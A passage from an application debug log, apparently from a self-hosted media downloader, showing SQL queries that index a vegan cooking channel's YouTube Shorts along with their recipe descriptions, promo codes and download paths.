chopped walnuts and enjoy!", "Chocolate Chai Oatmeal 🍫 ☕️ 🥣", 1, nil, false, "i0otpTpuVb8", "https://www.youtube.com/shorts/i0otpTpuVb8", "/downloads/downloads/alec/Steamy Vegan/2024-10-24 Chocolate Chai Oatmeal 🍫 ☕️ 🥣/Chocolate Chai Oatmeal 🍫 ☕️ 🥣 [i0otpTpuVb8].NA", true, ~U[2024-10-24 00:00:00Z]] 20:31:09.186 [debug] QUERY OK source="sources" db=0.7ms idle=9.7ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [1] 20:31:09.189 [debug] QUERY OK source="media_items" db=2.3ms idle=7.4ms SELECT max(m0."upload_date_index") FROM "media_items" AS m0 WHERE (date(m0."uploaded_at") = date(?) AND (m0."source_id" = ?)) [~U[2024-10-23 00:00:00Z], 1] 20:31:09.190 [debug] QUERY OK source="media_items" db=1.0ms idle=8.5ms INSERT INTO "media_items" AS m0 ("description","title","uuid","source_id","subtitle_filepaths","livestream","media_id","original_url","playlist_index","predicted_media_filepath","prevent_culling","prevent_download","short_form_content","upload_date_index","uploaded_at","inserted_at","updated_at") VALUES (?1,?2,?3,?4,?5,?6,?7,?8,?9,?10,?11,?12,?13,?14,?15,?16,?17) ON CONFLICT ("source_id","media_id") DO UPDATE SET "description" = ?, "title" = ?, "source_id" = ?, "duration_seconds" = ?, "livestream" = ?, "media_id" = ?, "original_url" = ?, "predicted_media_filepath" = ?, "short_form_content" = ?, "uploaded_at" = ? RETURNING "id" ["These vegan black bean breakfast burritos are one of my go-to's for breakfast meal prep. They're an easy vegan breakfast recipe that you can whip up in minutes and I also have another Fall inspired butternut squash flavour coming soon to the channel.\n\nBlack Bean Breakfast Burritos - Makes 2 (Double recipe for 4)\n2 medium/large almond flour tortillas, or your preferred style of tortilla\nVegan cheddar cheese shreds\nCanned black beans, drained and rinsed\nTofu scramble (recipe here ➡️ \u00A0\u00A0\u00A0•\u00A0The\u00A0best\u00A0TOFU\u00A0SCRAMBLE\u00A0|\u00A0how\u00A0to\u00A0make\u00A0tofu\u00A0...\u00A0\u00A0)\nYour fave salsa\nChopped green onions\n\n1. Sprinkle some vegan cheese on the tortilla, followed by a few spoonfuls of tofu scramble, ¼ cup of black beans, some chopped green onions and salsa, then roll into a burrito and then roll carefully into parchment paper, tucking the ends. \n4. Transfer to an airtight sealable container and store in the freezer for up to 3 months.\n\nReheating instructions\nAir fryer: Remove parchment paper and place frozen burritos seam-side down in the air fryer basket. Air fry for 23 to 25 minutes at 375°F, until the tortilla is golden and crisped around the edges.\nMicrowave: Remove parchment paper and place seam-side down on a plate and microwave on high heat for 3 minutes. Flip over and microwave for a further 2 to 3 minutes, until the centre is hot.", "Black Bean Breakfast Freezer Burritos for Meal Prep 🌯", "3758d095-d25b-4a67-81dc-72af6ce086a2", 1, [], false, "B2rMs-LMvMg", "https://www.youtube.com/shorts/B2rMs-LMvMg", 61, "/downloads/downloads/alec/Steamy Vegan/2024-10-23 Black Bean Breakfast Freezer Burritos for Meal Prep 🌯/Black Bean Breakfast Freezer Burritos for Meal Prep 🌯 [B2rMs-LMvMg].NA", false, false, true, 1, ~U[2024-10-23 00:00:00Z], ~U[2026-03-22 03:31:09Z], ~U[2026-03-22 03:31:09Z], "These vegan black bean breakfast burritos are one of my go-to's for breakfast meal prep. They're an easy vegan breakfast recipe that you can whip up in minutes and I also have another Fall inspired butternut squash flavour coming soon to the channel.\n\nBlack Bean Breakfast Burritos - Makes 2 (Double recipe for 4)\n2 medium/large almond flour tortillas, or your preferred style of tortilla\nVegan cheddar cheese shreds\nCanned black beans, drained and rinsed\nTofu scramble (recipe here ➡️ \u00A0\u00A0\u00A0•\u00A0The\u00A0best\u00A0TOFU\u00A0SCRAMBLE\u00A0|\u00A0how\u00A0to\u00A0make\u00A0tofu\u00A0...\u00A0\u00A0)\nYour fave salsa\nChopped green onions\n\n1. Sprinkle some vegan cheese on the tortilla, followed by a few spoonfuls of tofu scramble, ¼ cup of black beans, some chopped green onions and salsa, then roll into a burrito and then roll carefully into parchment paper, tucking the ends. \n4. Transfer to an airtight sealable container and store in the freezer for up to 3 months.\n\nReheating instructions\nAir fryer: Remove parchment paper and place frozen burritos seam-side down in the air fryer basket. Air fry for 23 to 25 minutes at 375°F, until the tortilla is golden and crisped around the edges.\nMicrowave: Remove parchment paper and place seam-side down on a plate and microwave on high heat for 3 minutes. Flip over and microwave for a further 2 to 3 minutes, until the centre is hot.", "Black Bean Breakfast Freezer Burritos for Meal Prep 🌯", 1, nil, false, "B2rMs-LMvMg", "https://www.youtube.com/shorts/B2rMs-LMvMg", "/downloads/downloads/alec/Steamy Vegan/2024-10-23 Black Bean Breakfast Freezer Burritos for Meal Prep 🌯/Black Bean Breakfast Freezer Burritos for Meal Prep 🌯 [B2rMs-LMvMg].NA", true, ~U[2024-10-23 00:00:00Z]] 20:31:09.191 [debug] QUERY OK source="sources" db=0.9ms idle=7.7ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [1] 20:31:09.193 [debug] QUERY OK source="media_items" db=1.8ms idle=6.4ms SELECT max(m0."upload_date_index") FROM "media_items" AS m0 WHERE (date(m0."uploaded_at") = date(?) AND (m0."source_id" = ?)) [~U[2024-10-19 00:00:00Z], 1] 20:31:09.195 [debug] QUERY OK source="media_items" db=1.5ms idle=7.3ms INSERT INTO "media_items" AS m0 ("description","title","uuid","source_id","subtitle_filepaths","livestream","media_id","original_url","playlist_index","predicted_media_filepath","prevent_culling","prevent_download","short_form_content","upload_date_index","uploaded_at","inserted_at","updated_at") VALUES (?1,?2,?3,?4,?5,?6,?7,?8,?9,?10,?11,?12,?13,?14,?15,?16,?17) ON CONFLICT ("source_id","media_id") DO UPDATE SET "description" = ?, "title" = ?, "source_id" = ?, "duration_seconds" = ?, "livestream" = ?, "media_id" = ?, "original_url" = ?, "predicted_media_filepath" = ?, "short_form_content" = ?, "uploaded_at" = ? RETURNING "id" ["This sheet pan butternut squash pasta is an easy vegan and gluten-free recipe to make for lunch or dinner. Butternut squash pasta is perfect for a cozy, comfort, fall meal that'll boost your mood. Hope you enjoy! Check out the full recipe video on the channel for a longer and more in-depth video to follow.\n\nSheet Pan Butternut Squash Pasta\n1 package spaghetti noodles\n4 cups chopped butternut squash\n1 medium yellow onion, quartered\n1 bulb garlic, top sliced off\n1 tbsp fresh minced sage (or 1 tsp ground)\n1 tsp fresh minced rosemary\n⅛ tsp nutmeg\n3 cups vegetable broth\n1 cup cashews\n4 cups boiling hot water\n¼ cup nutritional yeast\n2 tbsp miso paste\n⅛ tsp of nutmeg\nSalt and pepper to taste\nVegan parm (optional)\n\n1. Preheat oven to 375F and lightly oil a large baking sheet.\n2. Place the cashews in a large bowl and pour the boiling water over top. Let soak for 1 hour while you prep and cook the remaining ingredients.\n3. Place the chopped butternut squash and onion on the baking sheet, then lightly spray or drizzle with oil, plus a few generous pinches of salt and pepper. Gently toss to combine.\n4. Place the garlic bulb in a small square of aluminum foil, drizzle 1 tsp of oil on the cut top, then wrap in foil. Place on the sheet pan. Roast the veggies for 35 to 40 minutes until fork tender.\n5. Boil pasta noodles in heavily salted water until al dente, reserving 1 cup of pasta water. Drain and rinse in hot water, then set aside.\n6. Carefully unwrap the garlic from the foil and let cool until its just warm. To a high speed blender add the butternut squash, onion, roasted garlic (squeezed out the top), sage, rosemary, nutmeg, soaked cashews, veggie broth, nutritional yeast, miso paste, and a few grinds of black pepper. Blend on high speed for 60 to 90 seconds until completely smooth.\n7. In the same pot you cooked the pasta in, pour in the butternut squash sauce and heat through over medium heat until steaming. Stir in the pasta noodles and heat through.\n8. Serve in individual bowls and garnish with vegan parmesan cheese, freshly cracked black pepper and enjoy!\n\n💚 PRODUCTS I LOVE USING 💚\nMy Fave Mushroom Coffee ☕️ JostArriba: Save 20% off your first order\nCode: STEAMYVEGAN\n🔗: https://www.eightbillion.com/steamyvegan\n\n💪🏼 My Fave Protein Powders\n\nComplements: 15% off your purchase (Available internationally 🌎)\nCode: STEAMYVEGAN\n🔗: https://lovecomplement.com/products/c...\n\nGood Protein: 30% off your first purchase (Available only in 🇨🇦)\nCode: STEAMYVEGANKITCHEN30\n🔗: https://goodprotein.ca/?ref=Janelle\n\n💧My Fave Water Filtration System\nSantevia Water Filters 💦 10% off first orders\nCode: STEAMYVEGAN\n🔗: https://ca.santevia.com/STEAMYVEGAN\n\n🪴 My Indoor Hydroponic Garden\nIndoor Garden Works 🌱 10% off an iHarvest\nCode: STEAMYVEGAN\n🔗: https://igworks.com/products/iharvest...\n\nFIND ME IN OTHER PLACES!\nFACEBOOK: \u00A0\u00A0/\u00A0steamyvegan\u00A0\u00A0\nINSTAGRAM: \u00A0\u00A0/\u00A0steamyvegankitchen\u00A0\u00A0\nTIKTOK: \u00A0\u00A0/\u00A0steamyvegan\u00A0\u00A0\n\nBLOG: https://steamyvegan.com\nCONTACT: janelle@steamyvegan.com", "Sheet Pan Butternut Squash Pasta 🍝🤤😋", "328a3a39-e21a-498c-b5b8-2bce1ddb8743", 1, [], false, "SyD3XKaQA5I", "https://www.youtube.com/shorts/SyD3XKaQA5I", 62, "/downloads/downloads/alec/Steamy Vegan/2024-10-19 Sheet Pan Butternut Squash Pasta 🍝🤤😋/Sheet Pan Butternut Squash Pasta 🍝🤤😋 [SyD3XKaQA5I].NA", false, false, true, 1, ~U[2024-10-19 00:00:00Z], ~U[2026-03-22 03:31:09Z], ~U[2026-03-22 03:31:09Z], "This sheet pan butternut squash pasta is an easy vegan and gluten-free recipe to make for lunch or dinner. Butternut squash pasta is perfect for a cozy, comfort, fall meal that'll boost your mood. Hope you enjoy! Check out the full recipe video on the channel for a longer and more in-depth video to follow.\n\nSheet Pan Butternut Squash Pasta\n1 package spaghetti noodles\n4 cups chopped butternut squash\n1 medium yellow onion, quartered\n1 bulb garlic, top sliced off\n1 tbsp fresh minced sage (or 1 tsp ground)\n1 tsp fresh minced rosemary\n⅛ tsp nutmeg\n3 cups vegetable broth\n1 cup cashews\n4 cups boiling hot water\n¼ cup nutritional yeast\n2 tbsp miso paste\n⅛ tsp of nutmeg\nSalt and pepper to taste\nVegan parm (optional)\n\n1. Preheat oven to 375F and lightly oil a large baking sheet.\n2. Place the cashews in a large bowl and pour the boiling water over top. Let soak for 1 hour while you prep and cook the remaining ingredients.\n3. Place the chopped butternut squash and onion on the baking sheet, then lightly spray or drizzle with oil, plus a few generous pinches of salt and pepper. Gently toss to combine.\n4. Place the garlic bulb in a small square of aluminum foil, drizzle 1 tsp of oil on the cut top, then wrap in foil. Place on the sheet pan. Roast the veggies for 35 to 40 minutes until fork tender.\n5. Boil pasta noodles in heavily salted water until al dente, reserving 1 cup of pasta water. Drain and rinse in hot water, then set aside.\n6. Carefully unwrap the garlic from the foil and let cool until its just warm. To a high speed blender add the butternut squash, onion, roasted garlic (squeezed out the top), sage, rosemary, nutmeg, soaked cashews, veggie broth, nutritional yeast, miso paste, and a few grinds of black pepper. Blend on high speed for 60 to 90 seconds until completely smooth.\n7. In the same pot you cooked the pasta in, pour in the butternut squash sauce and heat through over medium heat until steaming. Stir in the pasta noodles and heat through.\n8. Serve in individual bowls and garnish with vegan parmesan cheese, freshly cracked black pepper and enjoy!\n\n💚 PRODUCTS I LOVE USING 💚\nMy Fave Mushroom Coffee ☕️ JostArriba: Save 20% off your first order\nCode: STEAMYVEGAN\n🔗: https://www.eightbillion.com/steamyvegan\n\n💪🏼 My Fave Protein Powders\n\nComplements: 15% off your purchase (Available internationally 🌎)\nCode: STEAMYVEGAN\n🔗: https://lovecomplement.com/products/c...\n\nGood Protein: 30% off your first purchase (Available only in 🇨🇦)\nCode: STEAMYVEGANKITCHEN30\n🔗: https://goodprotein.ca/?ref=Janelle\n\n💧My Fave Water Filtration System\nSantevia Water Filters 💦 10% off first orders\nCode: STEAMYVEGAN\n🔗: https://ca.santevia.com/STEAMYVEGAN\n\n🪴 My Indoor Hydroponic Garden\nIndoor Garden Works 🌱 10% off an iHarvest\nCode: STEAMYVEGAN\n🔗: https://igworks.com/products/iharvest...\n\nFIND ME IN OTHER PLACES!\nFACEBOOK: \u00A0\u00A0/\u00A0steamyvegan\u00A0\u00A0\nINSTAGRAM: \u00A0\u00A0/\u00A0steamyvegankitchen\u00A0\u00A0\nTIKTOK: \u00A0\u00A0/\u00A0steamyvegan\u00A0\u00A0\n\nBLOG: https://steamyvegan.com\nCONTACT: janelle@steamyvegan.com", "Sheet Pan Butternut Squash Pasta 🍝🤤😋", 1, nil, false, "SyD3XKaQA5I", "https://www.youtube.com/shorts/SyD3XKaQA5I", "/downloads/downloads/alec/Steamy Vegan/2024-10-19 Sheet Pan Butternut Squash Pasta 🍝🤤😋/Sheet Pan Butternut Squash Pasta 🍝🤤😋 [SyD3XKaQA5I].NA", true, ~U[2024-10-19 00:00:00Z]] 20:31:09.196 [debug] QUERY OK source="sources" db=0.5ms idle=6.8ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [1] 20:31:09.198 [debug] QUERY OK source="media_items" db=1.9ms idle=6.2ms SELECT max(m0."upload_date_index") FROM "media_items" AS m0 WHERE (date(m0."uploaded_at") = date(?) AND (m0."source_id" = ?)) [~U[2024-10-16 00:00:00Z], 1] 20:31:09.201 [debug] QUERY OK source="media_items" db=1.3ms idle=7.9ms INSERT INTO "media_items" AS m0 ("description","title","uuid","source_id","subtitle_filepaths","livestream","media_id","original_url","playlist_index","predicted_media_filepath","prevent_culling","prevent_download","short_form_content","upload_date_index","uploaded_at","inserted_at","updated_at") VALUES (?1,?2,?3,?4,?5,?6,?7,?8,?9,?10,?11,?12,?13,?14,?15,?16,?17) ON CONFLICT ("source_id","media_id") DO UPDATE SET "description" = ?, "title" = ?, "source_id" = ?, "duration_seconds" = ?, "livestream" = ?, "media_id" = ?, "original_url" = ?, "predicted_media_filepath" = ?, "short_form_content" = ?, "uploaded_at" = ? RETURNING "id" ["These tahini veggies are a family favorite vegan recipe in my household. The tahini sauce will make you fall in love with your veggies, it's perfect for anyone who doesn't like veggies or doesn't get enough of them!\n\nGet the recipe on my blog, in my greek meal prep, in this post here! ➡️ https://steamyvegan.com/greek-high-pr...\nThe FREE printable PDF version including all the recipes can be accessed from the blog post! 😉", "Fall in ❤️ with your 🥦", "5911d349-e5bf-4679-af55-67f717f2fd7f", 1, [], false, "pFNpVHL-YOs", "https://www.youtube.com/shorts/pFNpVHL-YOs", 63, "/downloads/downloads/alec/Steamy Vegan/2024-10-16 Fall in ❤️ with your 🥦/Fall in ❤️ with your 🥦 [pFNpVHL-YOs].NA", false, false, true, 1, ~U[2024-10-16 00:00:00Z], ~U[2026-03-22 03:31:09Z], ~U[2026-03-22 03:31:09Z], "These tahini veggies are a family favorite vegan recipe in my household. The tahini sauce will make you fall in love with your veggies, it's perfect for anyone who doesn't like veggies or doesn't get enough of them!\n\nGet the recipe on my blog, in my greek meal prep, in this post here! ➡️ https://steamyvegan.com/greek-high-pr...\nThe FREE printable PDF version including all the recipes can be accessed from the blog post! 😉", "Fall in ❤️ with your 🥦", 1, nil, false, "pFNpVHL-YOs", "https://www.youtube.com/shorts/pFNpVHL-YOs", "/downloads/downloads/alec/Steamy Vegan/2024-10-16 Fall in ❤️ with your 🥦/Fall in ❤️ with your 🥦 [pFNpVHL-YOs].NA", true, ~U[2024-10-16 00:00:00Z]] 20:31:09.202 [debug] QUERY OK source="sources" db=1.2ms idle=7.6ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [1] 20:31:09.205 [debug] QUERY OK source="media_items" db=2.7ms idle=7.3ms SELECT max(m0."upload_date_index") FROM "media_items" AS m0 WHERE (date(m0."uploaded_at") = date(?) AND (m0."source_id" = ?)) [~U[2024-10-15 00:00:00Z], 1] 20:31:09.207 [debug] QUERY OK source="media_items" db=1.1ms idle=9.3ms INSERT INTO "media_items" AS m0 ("description","title","uuid","source_id","subtitle_filepaths","livestream","media_id","original_url","playlist_index","predicted_media_filepath","prevent_culling","prevent_download","short_form_content","upload_date_index","uploaded_at","inserted_at","updated_at") VALUES (?1,?2,?3,?4,?5,?6,?7,?8,?9,?10,?11,?12,?13,?14,?15,?16,?17) ON CONFLICT ("source_id","media_id") DO UPDATE SET "description" = ?, "title" = ?, "source_id" = ?, "duration_seconds" = ?, "livestream" = ?, "media_id" = ?, "original_url" = ?, "predicted_media_filepath" = ?, "short_form_content" = ?, "uploaded_at" = ? RETURNING "id" ["These vegan and gluten free dan dan noodles are one of my new fave go-to vegan recipes. They're an easy vegan recipe that packs the perfect amount of punch in their spice game. You'll love how easy it is to make these and all the different flavours you get.\n\nDAN DAN NOODLES\nsauce\n⅓ cup tahini\n1 tsp black pepper\n2 tbsp gluten free soy sauce\n1 tbsp black rice vinegar (chinkiang)\n2 tbsp chilli oil\n⅓ cup hot water\n1 tbsp coconut sugar\n\n8 oz ramen noodles\nchopped broccoli, gai lan or broccolini\n1 lb of plant-based ground meat (beyond, Yves)\n2 tsp grated ginger\n1 tbsp gluten free soy sauce\n1 tbsp chinese cooking wine (shaoxing)\n\n1. Combine all sauce ingredients, portion out ¼ cup each into 2 serving bowls\n2. Cook plant based meat in 1 tbsp oil, the cooking wine, soy sauce and ginger over medium heat for 5 to 7 minutes, or until nicely browned\n3. While the meat cooks, boil a large pot of water, and blanch the gai lan for 1 minute; if using broccolo/broccolini, cook for 4 minutes. Remove veg from pot and add in ramen noodles, cook according to package directions.\n4. Divide noodles between two bowls. Stir in and toss in the sauce. Top with the ground meat, cooked veg, top with chopped peanuts and green onions and extra chili oil if you like it spicy!", "Vegan Dan Dan Noodles Recipe 🍜🥵🤤", "62b48668-9715-4a3d-94c6-54b946a12d4d", 1, [], false, "vIguIjm-erQ", "https://www.youtube.com/shorts/vIguIjm-erQ", 64, "/downloads/downloads/alec/Steamy Vegan/2024-10-15 Vegan Dan Dan Noodles Recipe 🍜🥵🤤/Vegan Dan Dan Noodles Recipe 🍜🥵🤤 [vIguIjm-erQ].NA", false, false, true, 1, ~U[2024-10-15 00:00:00Z], ~U[2026-03-22 03:31:09Z], ~U[2026-03-22 03:31:09Z], "These vegan and gluten free dan dan noodles are one of my new fave go-to vegan recipes. They're an easy vegan recipe that packs the perfect amount of punch in their spice game. You'll love how easy it is to make these and all the different flavours you get.\n\nDAN DAN NOODLES\nsauce\n⅓ cup tahini\n1 tsp black pepper\n2 tbsp gluten free soy sauce\n1 tbsp black rice vinegar (chinkiang)\n2 tbsp chilli oil\n⅓ cup hot water\n1 tbsp coconut sugar\n\n8 oz ramen noodles\nchopped broccoli, gai lan or broccolini\n1 lb of plant-based ground meat (beyond, Yves)\n2 tsp grated ginger\n1 tbsp gluten free soy sauce\n1 tbsp chinese cooking wine (shaoxing)\n\n1. Combine all sauce ingredients, portion out ¼ cup each into 2 serving bowls\n2. Cook plant based meat in 1 tbsp oil, the cooking wine, soy sauce and ginger over medium heat for 5 to 7 minutes, or until nicely browned\n3. While the meat cooks, boil a large pot of water, and blanch the gai lan for 1 minute; if using broccolo/broccolini, cook for 4 minutes. Remove veg from pot and add in ramen noodles, cook according to package directions.\n4. Divide noodles between two bowls. Stir in and toss in the sauce. Top with the ground meat, cooked veg, top with chopped peanuts and green onions and extra chili oil if you like it spicy!", "Vegan Dan Dan Noodles Recipe 🍜🥵🤤", 1, nil, false, "vIguIjm-erQ", "https://www.youtube.com/shorts/vIguIjm-erQ", "/downloads/downloads/alec/Steamy Vegan/2024-10-15 Vegan Dan Dan Noodles Recipe 🍜🥵🤤/Vegan Dan Dan Noodles Recipe 🍜🥵🤤 [vIguIjm-erQ].NA", true, ~U[2024-10-15 00:00:00Z]] 20:31:09.208 [debug] QUERY OK source="sources" db=0.8ms idle=8.8ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [1] 20:31:09.210 [debug] QUERY OK source="media_items" db=2.1ms idle=7.5ms SELECT max(m0."upload_date_index") FROM "media_items" AS m0 WHERE (date(m0."uploaded_at") = date(?) AND (m0."source_id" = ?)) [~U[2024-10-14 00:00:00Z], 1] 20:31:09.227 [debug] QUERY OK source="media_items" db=15.6ms idle=8.4ms INSERT INTO "media_items" AS m0 ("description","title","uuid","source_id","subtitle_filepaths","livestream","media_id","original_url","playlist_index","predicted_media_filepath","prevent_culling","prevent_download","short_form_content","upload_date_index","uploaded_at","inserted_at","updated_at") VALUES (?1,?2,?3,?4,?5,?6,?7,?8,?9,?10,?11,?12,?13,?14,?15,?16,?17) ON CONFLICT ("source_id","media_id") DO UPDATE SET "description" = ?, "title" = ?, "source_id" = ?, "duration_seconds" = ?, "livestream" = ?, "media_id" = ?, "original_url" = ?, "predicted_media_filepath" = ?, "short_form_content" = ?, "uploaded_at" = ? RETURNING "id" ["This vegan crunchwrap was the perfect easy vegan recipe to make at home. If you want to watch the full taco bell crunchwrap copycat recipe video then check out the full what I eat video on the channel.\n\nHope you enjoy!!!\n\nCRUNCHWRAP Recipe\n1 large whole wheat or gluten free tortilla\n1 corn tostada or 1 corn tortilla air fried for 5 minutes until crispy\n2 tbsp vegan sour cream\nvegan cheddar cheese slices or shreds\nchopped tomatoes\nchopped red onion\nsalsa\n¼ of a large tortilla for wrapping\n\nSteamy Vegan Promos and Discounts:\n\n*EIGHTBILLION: Try my favourite mushroom coffee JostArriba! Save 20% off first orders with my code STEAMYVEGAN at www.eightbillion.com/steamyvegan\nGOOD PROTEIN*: Want to try my favourite vegan and gluten-free protein powder? Get 30% off your *first order at GOODPROTEIN.CA with my code: STEAMYVEGANKITCHEN30\nINDOOR GARDEN WORKS Want to grow your own hydroponic produce indoors? Use my code 'STEAMYVEGAN' to save you $50 off your iHarvest purchase! https://igworks.com/products/iharvest... \n*HONEYCOMB VEGAN-FRIENDLY RESTAURANT FINDER*: https://eat.app.link/steamyvegan", "Vegan Crunchwrap Recipe 🌮🔔", "70423d1a-e9d3-44c5-b572-6714a0907f76", 1, [], false, "7xxEbUvX93w", "https://www.youtube.com/shorts/7xxEbUvX93w", 65, "/downloads/downloads/alec/Steamy Vegan/2024-10-14 Vegan Crunchwrap Recipe 🌮🔔/Vegan Crunchwrap Recipe 🌮🔔 [7xxEbUvX93w].NA", false, false, true, 1, ~U[2024-10-14 00:00:00Z], ~U[2026-03-22 03:31:09Z], ~U[2026-03-22 03:31:09Z], "This vegan crunchwrap was the perfect easy vegan recipe to make at home. If you want to watch the full taco bell crunchwrap copycat recipe video then check out the full what I eat video on the channel.\n\nHope you enjoy!!!\n\nCRUNCHWRAP Recipe\n1 large whole wheat or gluten free tortilla\n1 corn tostada or 1 corn tortilla air fried for 5 minutes until crispy\n2 tbsp vegan sour cream\nvegan cheddar cheese slices or shreds\nchopped tomatoes\nchopped red onion\nsalsa\n¼ of a large tortilla for wrapping\n\nSteamy Vegan Promos and Discounts:\n\n*EIGHTBILLION: Try my favourite mushroom coffee JostArriba! Save 20% off first orders with my code STEAMYVEGAN at www.eightbillion.com/steamyvegan\nGOOD PROTEIN*: Want to try my favourite vegan and gluten-free protein powder? Get 30% off your *first order at GOODPROTEIN.CA with my code: STEAMYVEGANKITCHEN30\nINDOOR GARDEN WORKS Want to grow your own hydroponic produce indoors? Use my code 'STEAMYVEGAN' to save you $50 off your iHarvest purchase! https://igworks.com/products/iharvest... \n*HONEYCOMB VEGAN-FRIENDLY RESTAURANT FINDER*: https://eat.app.link/steamyvegan", "Vegan Crunchwrap Recipe 🌮🔔", 1, nil, false, "7xxEbUvX93w", "https://www.youtube.com/shorts/7xxEbUvX93w", "/downloads/downloads/alec/Steamy Vegan/2024-10-14 Vegan Crunchwrap Recipe 🌮🔔/Vegan Crunchwrap Recipe 🌮🔔 [7xxEbUvX93w].NA", true, ~U[2024-10-14 00:00:00Z]] 20:31:09.230 [debug] QUERY OK source="sources" db=1.6ms queue=0.1ms idle=22.7ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [1] 20:31:09.232 [debug] QUERY OK source="media_items" db=2.3ms idle=23.0ms SELECT max(m0."upload_date_index") FROM "media_items" AS m0 WHERE (date(m0."uploaded_at") = date(?) AND (m0."source_id" = ?)) [~U[2024-10-12 00:00:00Z], 1] 20:31:09.234 [debug] QUERY OK source="media_items" db=1.3ms idle=24.5ms INSERT INTO "media_items" AS m0 ("description","title","uuid","source_id","subtitle_filepaths","livestream","media_id","original_url","playlist_index","predicted_media_filepath","prevent_culling","prevent_download","short_form_content","upload_date_index","uploaded_at","inserted_at","updated_at") VALUES (?1,?2,?3,?4,?5,?6,?7,?8,?9,?10,?11,?12,?13,?14,?15,?16,?17) ON CONFLICT ("source_id","media_id") DO UPDATE SET "description" = ?, "title" = ?, "source_id" = ?, "duration_seconds" = ?, "livestream" = ?, "media_id" = ?, "original_url" = ?, "predicted_media_filepath" = ?, "short_form_content" = ?, "uploaded_at" = ? RETURNING "id" ["My latest healthy vegan grocery haul to show you all! Mostly high protein, whole food plant based and gluten-free foods for healthy meal prep 😁 \n\nTotal Spent = $130 USD 🇺🇸 / $180 CAD 🇨🇦\n\nCHECK OUT MY FULL 'GROCERY HAULS' PLAYLIST ➡️ \u00A0\u00A0\u00A0•\u00A0GROCERY\u00A0HAULS\u00A0🛒\u00A0\u00A0\nCHECK OUT MY FULL 'WHAT I EAT IN A DAY PLAYLIST' ➡️ \u00A0\u00A0\u00A0•\u00A0REALISTIC\u00A0'WHAT\u00A0I\u00A0EAT\u00A0IN\u00A0A\u00A0DAY'\u00A0VIDEOS\u00A0🌱\u00A0\u00A0\n\nFIND ME IN OTHER PLACES!\nFACEBOOK: \u00A0\u00A0/\u00A0steamyvegan\u00A0\u00A0\nINSTAGRAM: \u00A0\u00A0/\u00A0steamyvegankitchen\u00A0\u00A0\nTIKTOK: \u00A0\u00A0/\u00A0steamyvegan\u00A0\u00A0\n\nBLOG: https://steamyvegan.com\nCONTACT: janelle@steamyvegan.com\n\nPROMO CODES & LINKS\n\n*EIGHTBILLION: Try my favourite mushroom coffee JostArriba! Save 20% off first orders with my code’ STEAMYVEGAN’ at www.eightbillion.com/steamyvegan\n*HONEYCOMB VEGAN-FRIENDLY RESTAURANT FINDER*: https://eat.app.link/steamyvegan\n*TRAINEST NUTRITION TRACKING APP*: Reach your goals 💪🏼 and download the forever FREE Trainest nutrition tracking app here! ➡️ https://trainestapp.com/steamyvegan (available for both iOS & android!) \nCheck out Trainest on YouTube ➡️ \u00A0\u00A0\u00A0/\u00A0@trainestcoach\u00A0\u00A0\nGOOD PROTEIN*: Want to try my favourite vegan and gluten-free protein powder? Get 30% off your *first order at 